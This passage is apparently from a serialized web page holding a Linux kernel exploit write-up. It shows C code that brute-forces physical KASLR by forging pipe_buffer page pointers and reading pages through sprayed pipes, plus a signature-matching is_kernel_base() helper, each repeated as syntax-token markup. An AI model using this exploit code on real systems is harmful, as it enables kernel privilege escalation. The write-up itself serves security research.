uint8_t data[PAGE_SIZE] = {0};\n puts(\"[*] bruteforce phys-KASLR\");\n for (uint64_t i = 0;; i++)\n {\n kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n pipebuf->page = vmemmap_base + kernel_base;\n pipebuf->offset = 0;\n pipebuf->len = PAGE_SIZE + 1;\n[...]\n for (int j = 0; j \u003C PIPE_SPRAY; j++)\n {\n memset(&data, 0, PAGE_SIZE);\n int count;\n if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n {\n continue;\n }\n[...]\n\n if (is_kernel_base(data)) // [1] identify kernel base\n {\n found = true;\n break;\n }\n }\n\n[...]\n",[59673],{"type":24,"tag":154,"props":59674,"children":59675},{"__ignoreMap":7},[59676,59683,59691,59699,59723,59756,59776,59816,59823,59867,59901,59928,59964,59971,60017,60024,60054,60067,60132,60139,60151,60159,60166,60173,60199,60206,60226,60238,60245,60252,60259],{"type":24,"tag":158,"props":59677,"children":59678},{"class":160,"line":161},[59679],{"type":24,"tag":158,"props":59680,"children":59681},{"style":188},[59682],{"type":29,"value":1136},{"type":24,"tag":158,"props":59684,"children":59685},{"class":160,"line":213},[59686],{"type":24,"tag":158,"props":59687,"children":59688},{"style":188},[59689],{"type":29,"value":59690},"// Bruteforce phys-KASLR\n",{"type":24,"tag":158,"props":59692,"children":59693},{"class":160,"line":238},[59694],{"type":24,"tag":158,"props":59695,"children":59696},{"style":188},[59697],{"type":29,"value":59698}," uint64_t kernel_base;\n",{"type":24,"tag":158,"props":59700,"children":59701},{"class":160,"line":259},[59702,59706,59711,59715,59719],{"type":24,"tag":158,"props":59703,"children":59704},{"style":165},[59705],{"type":29,"value":47743},{"type":24,"tag":158,"props":59707,"children":59708},{"style":188},[59709],{"type":29,"value":59710}," found ",{"type":24,"tag":158,"props":59712,"children":59713},{"style":222},[59714],{"type":29,"value":1285},{"type":24,"tag":158,"props":59716,"children":59717},{"style":165},[59718],{"type":29,"value":859},{"type":24,"tag":158,"props":59720,"children":59721},{"style":188},[59722],{"type":29,"value":473},{"type":24,"tag":158,"props":59724,"children":59725},{"class":160,"line":280},[59726,59731,59735,59740,59744,59748,59752],{"type":24,"tag":158,"props":59727,"children":59728},{"style":165},[59729],{"type":29,"value":59730}," uint8_t",{"type":24,"tag":158,"props":59732,"children":59733},{"style":177},[59734],{"type":29,"value":16339},{"type":24,"tag":158,"props":59736,"children":59737},{"style":188},[59738],{"type":29,"value":59739},"[PAGE_SIZE] ",{"type":24,"tag":158,"props":59741,"children":59742},{"style":222},[59743],{"type":29,"value":1285},{"type":24,"tag":158,"props":59745,"children":59746},{"style":188},[59747],{"type":29,"value":46487},{"type":24,"tag":158,"props":59749,"children":59750},{"style":465},[59751],{"type":29,"value":5682},{"type":24,"tag":158,"props":59753,"children":59754},{"style":188},[59755],{"type":29,"value":17814},{"type":24,"tag":158,"props":59757,"children":59758},{"class":160,"line":301},[59759,59763,59767,59772],{"type":24,"tag":158,"props":59760,"children":59761},{"style":496},[59762],{"type":29,"value":56779},{"type":24,"tag":158,"props":59764,"children":59765},{"style":188},[59766],{"type":29,"value":504},{"type":24,"tag":158,"props":59768,"children":59769},{"style":1108},[59770],{"type":29,"value":59771},"\"[*] bruteforce phys-KASLR\"",{"type":24,"tag":158,"props":59773,"children":59774},{"style":188},[59775],{"type":29,"value":1071},{"type":24,"tag":158,"props":59777,"children":59778},{"class":160,"line":626},[59779,59783,59787,59791,59795,59799,59803,59808,59812],{"type":24,"tag":158,"props":59780,"children":59781},{"style":1914},[59782],{"type":29,"value":4702},{"type":24,"tag":158,"props":59784,"children":59785},{"style":188},[59786],{"type":29,"value":2262},{"type":24,"tag":158,"props":59788,"children":59789},{"style":165},[59790],{"type":29,"value":56907},{"type":24,"tag":158,"props":59792,"children":59793},{"style":188},[59794],{"type":29,"value":55816},{"type":24,"tag":158,"props":59796,"children":59797},{"style":222},[59798],{"type":29,"value":1285},{"type":24,"tag":158,"props":59800,"children":59801},{"style":465},[59802],{"type":29,"value":2025},{"type":24,"tag":158,"props":59804,"children":59805},{"style":188},[59806],{"type":29,"value":59807},";; i",{"type":24,"tag":158,"props":59809,"children":59810},{"style":222},[59811],{"type":29,"value":52541},{"type":24,"tag":158,"props":59813,"children":59814},{"style":188},[59815],{"type":29,"value":2125},{"type":24,"tag":158,"props":59817,"children":59818},{"class":160,"line":668},[59819],{"type":24,"tag":158,"props":59820,"children":59821},{"style":188},[59822],{"type":29,"value":30446},{"type":24,"tag":158,"props":59824,"children":59825},{"class":160,"line":676},[59826,59831,59835,59840,59844,59849,59853,59858,59862],{"type":24,"tag":158,"props":59827,"children":59828},{"style":188},[59829],{"type":29,"value":59830}," kernel_base ",{"type":24,"tag":158,"props":59832,"children":59833},{"style":222},[59834],{"type":29,"value":1285},{"type":24,"tag":158,"props":59836,"children":59837},{"style":465},[59838],{"type":29,"value":59839}," 0x40",{"type":24,"tag":158,"props":59841,"children":59842},{"style":222},[59843],{"type":29,"value":615},{"type":24,"tag":158,"props":59845,"children":59846},{"style":188},[59847],{"type":29,"value":59848}," ((PHYSICAL_ALIGN ",{"type":24,"tag":158,"props":59850,"children":59851},{"style":222},[59852],{"type":29,"value":577},{"type":24,"tag":158,"props":59854,"children":59855},{"style":188},[59856],{"type":29,"value":59857}," i) ",{"type":24,"tag":158,"props":59859,"children":59860},{"style":222},[59861],{"type":29,"value":3646},{"type":24,"tag":158,"props":59863,"children":59864},{"style":188},[59865],{"type":29,"value":59866}," PAGE_SHIFT);\n",{"type":24,"tag":158,"props":59868,"children":59869},{"class":160,"line":684},[59870,59875,59879,59883,59887,59892,59896],{"type":24,"tag":158,"props":59871,"children":59872},{"style":177},[59873],{"type":29,"value":59874}," pipebuf",{"type":24,"tag":158,"props":59876,"children":59877},{"style":188},[59878],{"type":29,"value":14991},{"type":24,"tag":158,"props":59880,"children":59881},{"style":177},[59882],{"type":29,"value":59597},{"type":24,"tag":158,"props":59884,"children":59885},{"style":222},[59886],{"type":29,"value":462},{"type":24,"tag":158,"props":59888,"children":59889},{"style":188},[59890],{"type":29,"value":59891}," vmemmap_base ",{"type":24,"tag":158,"props":59893,"children":59894},{"style":222},[59895],{"type":29,"value":728},{"type":24,"tag":158,"props":59897,"children":59898},{"style":188},[59899],{"type":29,"value":59900}," kernel_base;\n",{"type":24,"tag":158,"props":59902,"children":59903},{"class":160,"line":700},[59904,59908,59912,59916,59920,59924],{"type":24,"tag":158,"props":59905,"children":59906},{"style":177},[59907],{"type":29,"value":59874},{"type":24,"tag":158,"props":59909,"children":59910},{"style":188},[59911],{"type":29,"value":14991},{"type":24,"tag":158,"props":59913,"children":59914},{"style":177},[59915],{"type":29,"value":15135},{"type":24,"tag":158,"props":59917,"children":59918},{"style":222},[59919],{"type":29,"value":462},{"type":24,"tag":158,"props":59921,"children":59922},{"style":465},[59923],{"type":29,"value":2025},{"type":24,"tag":158,"props":59925,"children":59926},{"style":188},[59927],{"type":29,"value":473},{"type":24,"tag":158,"props":59929,"children":59930},{"class":160,"line":785},[59931,59935,59939,59943,59947,59952,59956,59960],{"type":24,"tag":158,"props":59932,"children":59933},{"style":177},[59934],{"type":29,"value":59874},{"type":24,"tag":158,"props":59936,"children":59937},{"style":188},[59938],{"type":29,"value":14991},{"type":24,"tag":158,"props":59940,"children":59941},{"style":177},[59942],{"type":29,"value":10726},{"type":24,"tag":158,"props":59944,"children":59945},{"style":222},[59946],{"type":29,"value":462},{"type":24,"tag":158,"props":59948,"children":59949},{"style":188},[59950],{"type":29,"value":59951}," PAGE_SIZE ",{"type":24,"tag":158,"props":59953,"children":59954},{"style":222},[59955],{"type":29,"value":728},{"type":24,"tag":158,"props":59957,"children":59958},{"style":465},[59959],{"type":29,"value":1668},{"type":24,"tag":158,"props":59961,"children":59962},{"style":188},[59963],{"type":29,"value":473},{"type":24,"tag":158,"props":59965,"children":59966},{"class":160,"line":1447},[59967],{"type":24,"tag":158,"props":59968,"children":59969},{"style":188},[59970],{"type":29,"value":1136},{"type":24,"tag":158,"props":59972,"children":59973},{"class":160,"line":1509},[59974,59979,59983,59987,59991,59995,60000,60004,60009,60013],{"type":24,"tag":158,"props":59975,"children":59976},{"style":188},[59977],{"type":29,"value":59978}," for (",{"type":24,"tag":158,"props":59980,"children":59981},{"style":165},[59982],{"type":29,"value":20289},{"type":24,"tag":158,"props":59984,"children":59985},{"style":177},[59986],{"type":29,"value":2015},{"type":24,"tag":158,"props":59988,"children":59989},{"style":222},[59990],{"type":29,"value":462},{"type":24,"tag":158,"props":59992,"children":59993},{"style":465},[59994],{"type":29,"value":2025},{"type":24,"tag":158,"props":59996,"children":59997},{"style":188},[59998],{"type":29,"value":59999},"; j ",{"type":24,"tag":158,"props":60001,"children":60002},{"style":222},[60003],{"type":29,"value":3760},{"type":24,"tag":158,"props":60005,"children":60006},{"style":188},[60007],{"type":29,"value":60008}," PIPE_SPRAY; j",{"type":24,"tag":158,"props":60010,"children":60011},{"style":222},[60012],{"type":29,"value":52541},{"type":24,"tag":158,"props":60014,"children":60015},{"style":188},[60016],{"type":29,"value":2125},{"type":24,"tag":158,"props":60018,"children":60019},{"class":160,"line":1527},[60020],{"type":24,"tag":158,"props":60021,"children":60022},{"style":188},[60023],{"type":29,"value":32920},{"type":24,"tag":158,"props":60025,"children":60026},{"class":160,"line":1545},[60027,60032,60036,60040,60045,60049],{"type":24,"tag":158,"props":60028,"children":60029},{"style":496},[60030],{"type":29,"value":60031}," memset",{"type":24,"tag":158,"props":60033,"children":60034},{"style":188},[60035],{"type":29,"value":504},{"type":24,"tag":158,"props":60037,"children":60038},{"style":222},[60039],{"type":29,"value":2212},{"type":24,"tag":158,"props":60041,"children":60042},{"style":188},[60043],{"type":29,"value":60044},"data, ",{"type":24,"tag":158,"props":60046,"children":60047},{"style":465},[60048],{"type":29,"value":5682},{"type":24,"tag":158,"props":60050,"children":60051},{"style":188},[60052],{"type":29,"value":60053},", PAGE_SIZE);\n",{"type":24,"tag":158,"props":60055,"children":60056},{"class":160,"line":1618},[60057,60062],{"type":24,"tag":158,"props":60058,"children":60059},{"style":165},[60060],{"type":29,"value":60061}," int",{"type":24,"tag":158,"props":60063,"children":60064},{"style":188},[60065],{"type":29,"value":60066}," count;\n",{"type":24,"tag":158,"props":60068,"children":60069},{"class":160,"line":1635},[60070,60075,60080,60084,60089,60093,60098,60103,60107,60111,60115,60120,60124,60128],{"type":24,"tag":158,"props":60071,"children":60072},{"style":1914},[60073],{"type":29,"value":60074}," if",{"type":24,"tag":158,"props":60076,"children":60077},{"style":188},[60078],{"type":29,"value":60079}," (count ",{"type":24,"tag":158,"props":60081,"children":60082},{"style":222},[60083],{"type":29,"value":1285},{"type":24,"tag":158,"props":60085,"children":60086},{"style":496},[60087],{"type":29,"value":60088}," read",{"type":24,"tag":158,"props":60090,"children":60091},{"style":188},[60092],{"type":29,"value":504},{"type":24,"tag":158,"props":60094,"children":60095},{"style":177},[60096],{"type":29,"value":60097},"pfd",{"type":24,"tag":158,"props":60099,"children":60100},{"style":188},[60101],{"type":29,"value":60102},"[j][",{"type":24,"tag":158,"props":60104,"children":60105},{"style":465},[60106],{"type":29,"value":5682},{"type":24,"tag":158,"props":60108,"children":60109},{"style":188},[60110],{"type":29,"value":24305},{"type":24,"tag":158,"props":60112,"children":60113},{"style":222},[60114],{"type":29,"value":2212},{"type":24,"tag":158,"props":60116,"children":60117},{"style":188},[60118],{"type":29,"value":60119},"data, PAGE_SIZE) ",{"type":24,"tag":158,"props":60121,"children":60122},{"style":222},[60123],{"type":29,"value":3760},{"type":24,"tag":158,"props":60125,"children":60126},{"style":465},[60127],{"type":29,"value":2025},{"type":24,"tag":158,"props":60129,"children":60130},{"style":188},[60131],{"type":29,"value":2125},{"type":24,"tag":158,"props":60133,"children":60134},{"class":160,"line":1644},[60135],{"type":24,"tag":158,"props":60136,"children":60137},{"style":188},[60138],{"type":29,"value":32956},{"type":24,"tag":158,"props":60140,"children":60141},{"class":160,"line":1652},[60142,60147],{"type":24,"tag":158,"props":60143,"children":60144},{"style":1914},[60145],{"type":29,"value":60146}," continue",{"type":24,"tag":158,"props":60148,"children":60149},{"style":188},[60150],{"type":29,"value":473},{"type":24,"tag":158,"props":60152,"children":60153},{"class":160,"line":1704},[60154],{"type":24,"tag":158,"props":60155,"children":60156},{"style":188},[60157],{"type":29,"value":60158}," }\n",{"type":24,"tag":158,"props":60160,"children":60161},{"class":160,"line":1713},[60162],{"type":24,"tag":158,"props":60163,"children":60164},{"style":188},[60165],{"type":29,"value":1136},{"type":24,"tag":158,"props":60167,"children":60168},{"class":160,"line":1731},[60169],{"type":24,"tag":158,"props":60170,"children":60171},{"emptyLinePlaceholder":16},[60172],{"type":29,"value":481},{"type":24,"tag":158,"props":60174,"children":60175},{"class":160,"line":5485},[60176,60181,60186,60190,60194],{"type":24,"tag":158,"props":60177,"children":60178},{"style":188},[60179],{"type":29,"value":60180}," if (",{"type":24,"tag":158,"props":60182,"children":60183},{"style":171},[60184],{"type":29,"value":60185},"is_kernel_base",{"type":24,"tag":158,"props":60187,"children":60188},{"style":188},[60189],{"type":29,"value":504},{"type":24,"tag":158,"props":60191,"children":60192},{"style":171},[60193],{"type":29,"value":5361},{"type":24,"tag":158,"props":60195,"children":60196},{"style":188},[60197],{"type":29,"value":60198},")) // [1] identify kernel base\n",{"type":24,"tag":158,"props":60200,"children":60201},{"class":160,"line":5493},[60202],{"type":24,"tag":158,"props":60203,"children":60204},{"style":188},[60205],{"type":29,"value":32956},{"type":24,"tag":158,"props":60207,"children":60208},{"class":160,"line":5553},[60209,60214,60218,60222],{"type":24,"tag":158,"props":60210,"children":60211},{"style":188},[60212],{"type":29,"value":60213}," found ",{"type":24,"tag":158,"props":60215,"children":60216},{"style":222},[60217],{"type":29,"value":1285},{"type":24,"tag":158,"props":60219,"children":60220},{"style":165},[60221],{"type":29,"value":3354},{"type":24,"tag":158,"props":60223,"children":60224},{"style":188},[60225],{"type":29,"value":473},{"type":24,"tag":158,"props":60227,"children":60228},{"class":160,"line":10636},[60229,60234],{"type":24,"tag":158,"props":60230,"children":60231},{"style":1914},[60232],{"type":29,"value":60233}," break",{"type":24,"tag":158,"props":60235,"children":60236},{"style":188},[60237],{"type":29,"value":473},{"type":24,"tag":158,"props":60239,"children":60240},{"class":160,"line":10652},[60241],{"type":24,"tag":158,"props":60242,"children":60243},{"style":188},[60244],{"type":29,"value":60158},{"type":24,"tag":158,"props":60246,"children":60247},{"class":160,"line":10696},[60248],{"type":24,"tag":158,"props":60249,"children":60250},{"style":188},[60251],{"type":29,"value":5010},{"type":24,"tag":158,"props":60253,"children":60254},{"class":160,"line":10801},[60255],{"type":24,"tag":158,"props":60256,"children":60257},{"emptyLinePlaceholder":16},[60258],{"type":29,"value":481},{"type":24,"tag":158,"props":60260,"children":60261},{"class":160,"line":24754},[60262],{"type":24,"tag":158,"props":60263,"children":60264},{"style":188},[60265],{"type":29,"value":1136},{"type":24,"tag":25,"props":60267,"children":60268},{},[60269,60271,60275,60277,60283,60285,60289],{"type":29,"value":60270},"Notice that at ",{"type":24,"tag":158,"props":60272,"children":60273},{},[60274],{"type":29,"value":5672},{"type":29,"value":60276}," we call the ",{"type":24,"tag":154,"props":60278,"children":60280},{"className":60279},[],[60281],{"type":29,"value":60282},"is_kernel_base()",{"type":29,"value":60284}," function. This is a function based on lau's exploit ",{"type":24,"tag":158,"props":60286,"children":60287},{},[60288],{"type":29,"value":19348},{"type":29,"value":60290}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":24,"tag":147,"props":60292,"children":60294},{"className":30369,"code":60293,"language":30371,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n // thanks lau :)\n\n // get-sig kernel_runtime_1\n if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n return true;\n\n // get-sig kernel_runtime_2\n if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n return true;\n\n return false;\n}\n[...]\n",[60295],{"type":24,"tag":154,"props":60296,"children":60297},{"__ignoreMap":7},[60298,60305,60335,60342,60350,60357,60365,60436,60498,60513,60520,60528,60596,60658,60719,60780,60842,60904,60965,61026,61087,61148,61209,61224,61231,61246,61253],{"type":24,"tag":158,"props":60299,"children":60300},{"class":160,"line":161},[60301],{"type":24,"tag":158,"props":60302,"children":60303},{"style":188},[60304],{"type":29,"value":1136},{"type":24,"tag":158,"props":60306,"children":60307},{"class":160,"line":213},[60308,60313,60318,60323,60327,60331],{"type":24,"tag":158,"props":60309,"children":60310},{"style":188},[60311],{"type":29,"value":60312},"static bool is_kernel_base(",{"type":24,"tag":158,"props":60314,"children":60315},{"style":165},[60316],{"type":29,"value":60317},"unsigned",{"type":24,"tag":158,"props":60319,"children":60320},{"style":165},[60321],{"type":29,"value":60322}," char",{"type":24,"tag":158,"props":60324,"children":60325},{"style":165},[60326],{"type":29,"value":615},{"type":24,"tag":158,"props":60328,"children":60329},{"style":177},[60330],{"type":29,"value":31947},{"type":24,"tag":158,"props":60332,"children":60333},{"style":188},[60334],{"type":29,"value":2125},{"type":24,"tag":158,"props":60336,"children":60337},{"class":160,"line":238},[60338],{"type":24,"tag":158,"props":60339,"children":60340},{"style":188},[60341],{"type":29,"value":1710},{"type":24,"tag":158,"props":60343,"children":60344},{"class":160,"line":259},[60345],{"type":24,"tag":158,"props":60346,"children":60347},{"style":2588},[60348],{"type":29,"value":60349}," // thanks lau :)\n",{"type":24,"tag":158,"props":60351,"children":60352},{"class":160,"line":280},[60353],{"type":24,"tag":158,"props":60354,"children":60355},{"emptyLinePlaceholder":16},[60356],{"type":29,"value":481},{"type":24,"tag":158,"props":60358,"children":60359},{"class":160,"line":301},[60360],{"type":24,"tag":158,"props":60361,"children":60362},{"style":2588},[60363],{"type":29,"value":60364}," // get-sig kernel_runtime_1\n",{"type":24,"tag":158,"props":60366,"children":60367},{"class":160,"line":626},[60368,60372,60376,60381,60386,60390,60395,60399,60403,60408,60412,60416,60420,60424,60428,60432],{"type":24,"tag":158,"props":60369,"children":60370},{"style":1914},[60371],{"type":29,"value":3160},{"type":24,"tag":158,"props":60373,"children":60374},{"style":188},[60375],{"type":29,"value":2262},{"type":24,"tag":158,"props":60377,"children":60378},{"style":496},[60379],{"type":29,"value":60380},"memcmp",{"type":24,"tag":158,"props":60382,"children":60383},{"style":188},[60384],{"type":29,"value":60385},"(addr ",{"type":24,"tag":158,"props":60387,"children":60388},{"style":222},[60389],{"type":29,"value":728},{"type":24,"tag":158,"props":60391,"children":60392},{"style":465},[60393],{"type":29,"value":60394}," 0x0",{"type":24,"tag":158,"props":60396,"children":60397},{"style":188},[60398],{"type":29,"value":191},{"type":24,"tag":158,"props":60400,"children":60401},{"style":1108},[60402],{"type":29,"value":21303},{"type":24,"tag":158,"props":60404,"children":60405},{"style":49644},[60406],{"type":29,"value":60407},"\\x48\\x8d\\x25\\x51\\x3f",{"type":24,"tag":158,"props":60409,"children":60410},{"style":1108},[60411],{"type":29,"value":21303},{"type":24,"tag":158,"props":60413,"children":60414},{"style":188},[60415],{"type":29,"value":191},{"type":24,"tag":158,"props":60417,"children":60418},{"style":465},[60419],{"type":29,"value":19348},{"type":24,"tag":158,"props":60421,"children":60422},{"style":188},[60423],{"type":29,"value":723},{"type":24,"tag":158,"props":60425,"children":60426},{"style":222},[60427],{"type":29,"value":1034},{"type":24,"tag":158,"props":60429,"children":60430},{"style":465},[60431],{"type":29,"value":2025},{"type":24,"tag":158,"props":60433,"children":60434},{"style":222},[60435],{"type":29,"value":53956},{"type":24,"tag":158,"props":60437,"children":60438},{"class":160,"line":668},[60439,60444,60448,60452,60457,60461,60465,60470,60474,60478,60482,60486,60490,60494],{"type":24,"tag":158,"props":60440,"children":60441},{"style":496},[60442],{"type":29,"value":60443}," memcmp",{"type":24,"tag":158,"props":60445,"children":60446},{"style":188},[60447],{"type":29,"value":60385},{"type":24,"tag":158,"props":60449,"children":60450},{"style":222},[60451],{"type":29,"value":728},{"type":24,"tag":158,"props":60453,"children":60454},{"style":465},[60455],{"type":29,"value":60456}," 0x7",{"type":24,"tag":158,"props":60458,"children":60459},{"style":188},[60460],{"type":29,"value":191},{"type":24,"tag":158,"props":60462,"children":60463},{"style":1108},[60464],{"type":29,"value":21303},{"type":24,"tag":158,"props":60466,"children":60467},{"style":49644},[60468],{"type":29,"value":60469},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":24,"tag":158,"props":60471,"children":60472},{"style":1108},[60473],{"type":29,"value":21303},{"type":24,"tag":158,"props":60475,"children":60476},{"style":188},[60477],{"type":29,"value":191},{"type":24,"tag":158,"props":60479,"children":60480},{"style":465},[60481],{"type":29,"value":55943},{"type":24,"tag":158,"props":60483,"children":60484},{"style":188},[60485],{"type":29,"value":723},{"type":24,"tag":158,"props":60487,"children":60488},{"style":222},[60489],{"type":29,"value":1034},{"type":24,"tag":158,"props":60491,"children":60492},{"style":465},[60493],{"type":29,"value":2025},{"type":24,"tag":158,"props":60495,"children":60496},{"style":188},[60497],{"type":29,"value":2125},{"type":24,"tag":158,"props":60499,"children":60500},{"class":160,"line":676},[60501,60505,60509],{"type":24,"tag":158,"props":60502,"children":60503},{"style":1914},[60504],{"type":29,"value":16980},{"type":24,"tag":158,"props":60506,"children":60507},{"style":165},[60508],{"type":29,"value":3354},{"type":24,"tag":158,"props":60510,"children":60511},{"style":188},[60512],{"type":29,"value":473},{"type":24,"tag":158,"props":60514,"children":60515},{"class":160,"line":684},[60516],{"type":24,"tag":158,"props":60517,"children":60518},{"emptyLinePlaceholder":16},[60519],{"type":29,"value":481},{"type":24,"tag":158,"props":60521,"children":60522},{"class":160,"line":700},[60523],{"type":24,"tag":158,"props":60524,"children":60525},{"style":2588},[60526],{"type":29,"value":60527}," // get-sig kernel_runtime_2\n",{"type":24,"tag":158,"props":60529,"children":60530},{"class":160,"line":785},[60531,60535,60539,60543,60547,60551,60555,60559,60563,60568,60572,60576,60580,60584,60588,60592],{"type":24,"tag":158,"props":60532,"children":60533},{"style":1914},[60534],{"type":29,"value":3160},{"type":24,"tag":158,"props":60536,"children":60537},{"style":188},[60538],{"type":29,"value":2262},{"type":24,"tag":158,"props":60540,"children":60541},{"style":496},[60542],{"type":29,"value":60380},{"type":24,"tag":158,"props":60544,"children":60545},{"style":188},[60546],{"type":29,"value":60385},{"type":24,"tag":158,"props":60548,"children":60549},{"style":222},[60550],{"type":29,"value":728},{"type":24,"tag":158,"props":60552,"children":60553},{"style":465},[60554],{"type":29,"value":60394},{"type":24,"tag":158,"props":60556,"children":60557},{"style":188},[60558],{"type":29,"value":191},{"type":24,"tag":158,"props":60560,"children":60561},{"style":1108},[60562],{"type":29,"value":21303},{"type":24,"tag":158,"props":60564,"children":60565},{"style":49644},[60566],{"type":29,"value":60567},"\\xfc\\x0f\\x01\\x15",{"type":24,"tag":158,"props":60569,"children":60570},{"style":1108},[60571],{"type":29,"value":21303},{"type":24,"tag":158,"props":60573,"children":60574},{"style":188},[60575],{"type":29,"value":191},{"type":24,"tag":158,"props":60577,"children":60578},{"style":465},[60579],{"type":29,"value":18767},{"type":24,"tag":158,"props":60581,"children":60582},{"style":188},[60583],{"type":29,"value":723},{"type":24,"tag":158,"props":60585,"children":60586},{"style":222},[60587],{"type":29,"value":1034},{"type":24,"tag":158,"props":60589,"children":60590},{"style":465},[60591],{"type":29,"value":2025},{"type":24,"tag":158,"props":60593,"children":60594},{"style":222},[60595],{"type":29,"value":53956},{"type":24,"tag":158,"props":60597,"children":60598},{"class":160,"line":1447},[60599,60603,60607,60611,60616,60620,60624,60629,60633,60637,60642,60646,60650,60654],{"type":24,"tag":158,"props":60600,"children":60601},{"style":496},[60602],{"type":29,"value":60443},{"type":24,"tag":158,"props":60604,"children":60605},{"style":188},[60606],{"type":29,"value":60385},{"type":24,"tag":158,"props":60608,"children":60609},{"style":222},[60610],{"type":29,"value":728},{"type":24,"tag":158,"props":60612,"children":60613},{"style":465},[60614],{"type":29,"value":60615}," 0x8",{"type":24,"tag":158,"props":60617,"children":60618},{"style":188},[60619],{"type":29,"value":191},{"type":24,"tag":158,"props":60621,"children":60622},{"style":1108},[60623],{"type":29,"value":21303},{"type":24,"tag":158,"props":60625,"children":60626},{"style":49644},[60627],{"type":29,"value":60628},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":24,"tag":158,"props":60630,"children":60631},{"style":1108},[60632],{"type":29,"value":21303},{"type":24,"tag":158,"props":60634,"children":60635},{"style":188},[60636],{"type":29,"value":191},{"type":24,"tag":158,"props":60638,"children":60639},{"style":465},[60640],{"type":29,"value":60641},"12",{"type":24,"tag":158,"props":60643,"children":60644},{"style":188},[60645],{"type":29,"value":723},{"type":24,"tag":158,"props":60647,"children":60648},{"style":222},[60649],{"type":29,"value":1034},{"type":24,"tag":158,"props":60651,"children":60652},{"style":465},[60653],{"type":29,"value":2025},{"type":24,"tag":158,"props":60655,"children":60656},{"style":222},[60657],{"type":29,"value":53956},{"type":24,"tag":158,"props":60659,"children":60660},{"class":160,"line":1509},[60661,60665,60669,60673,60678,60682,60686,60691,60695,60699,60703,60707,60711,60715],{"type":24,"tag":158,"props":60662,"children":60663},{"style":496},[60664],{"type":29,"value":60443},{"type":24,"tag":158,"props":60666,"children":60667},{"style":188},[60668],{"type":29,"value":60385},{"type":24,"tag":158,"props":60670,"children":60671},{"style":222},[60672],{"type":29,"value":728},{"type":24,"tag":158,"props":60674,"children":60675},{"style":465},[60676],{"type":29,"value":60677}," 0x18",{"type":24,"tag":158,"props":60679,"children":60680},{"style":188},[60681],{"type":29,"value":191},{"type":24,"tag":158,"props":60683,"children":60684},{"style":1108},[60685],{"type":29,"value":21303},{"type":24,"tag":158,"props":60687,"children":60688},{"style":49644},[60689],{"type":29,"value":60690},"\\x89\\xde\\x8b\\x0d",{"type":24,"tag":158,"props":60692,"children":60693},{"style":1108},[60694],{"type":29,"value":21303},{"type":24,"tag":158,"props":60696,"children":60697},{"style":188},[60698],{"type":29,"value":191},{"type":24,"tag":158,"props":60700,"children":60701},{"style":465},[60702],{"type":29,"value":18767},{"type":24,"tag":158,"props":60704,"children":60705},{"style":188},[60706],{"type":29,"value":723},{"type":24,"tag":158,"props":60708,"children":60709},{"style":222},[60710],{"type":29,"value":1034},{"type":24,"tag":158,"props":60712,"children":60713},{"style":465},[60714],{"type":29,"value":2025},{"type":24,"tag":158,"props":60716,"children":60717},{"style":222},[60718],{"type":29,"value":53956},{"type":24,"tag":158,"props":60720,"children":60721},{"class":160,"line":1527},[60722,60726,60730,60734,60739,60743,60747,60752,60756,60760,60764,60768,60772,60776],{"type":24,"tag":158,"props":60723,"children":60724},{"style":496},[60725],{"type":29,"value":60443},{"type":24,"tag":158,"props":60727,"children":60728},{"style":188},[60729],{"type":29,"value":60385},{"type":24,"tag":158,"props":60731,"children":60732},{"style":222},[60733],{"type":29,"value":728},{"type":24,"tag":158,"props":60735,"children":60736},{"style":465},[60737],{"type":29,"value":60738}," 0x20",{"type":24,"tag":158,"props":60740,"children":60741},{"style":188},[60742],{"type":29,"value":191},{"type":24,"tag":158,"props":60744,"children":60745},{"style":1108},[60746],{"type":29,"value":21303},{"type":24,"tag":158,"props":60748,"children":60749},{"style":49644},[60750],{"type":29,"value":60751},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":24,"tag":158,"props":60753,"children":60754},{"style":1108},[60755],{"type":29,"value":21303},{"type":24,"tag":158,"props":60757,"children":60758},{"style":188},[60759],{"type":29,"value":191},{"type":24,"tag":158,"props":60761,"children":60762},{"style":465},[60763],{"type":29,"value":19660},{"type":24,"tag":158,"props":60765,"children":60766},{"style":188},[60767],{"type":29,"value":723},{"type":24,"tag":158,"props":60769,"children":60770},{"style":222},[60771],{"type":29,"value":1034},{"type":24,"tag":158,"props":60773,"children":60774},{"style":465},[60775],{"type":29,"value":2025},{"type":24,"tag":158,"props":60777,"children":60778},{"style":222},[60779],{"type":29,"value":53956},{"type":24,"tag":158,"props":60781,"children":60782},{"class":160,"line":1545},[60783,60787,60791,60795,60800,60804,60808,60813,60817,60821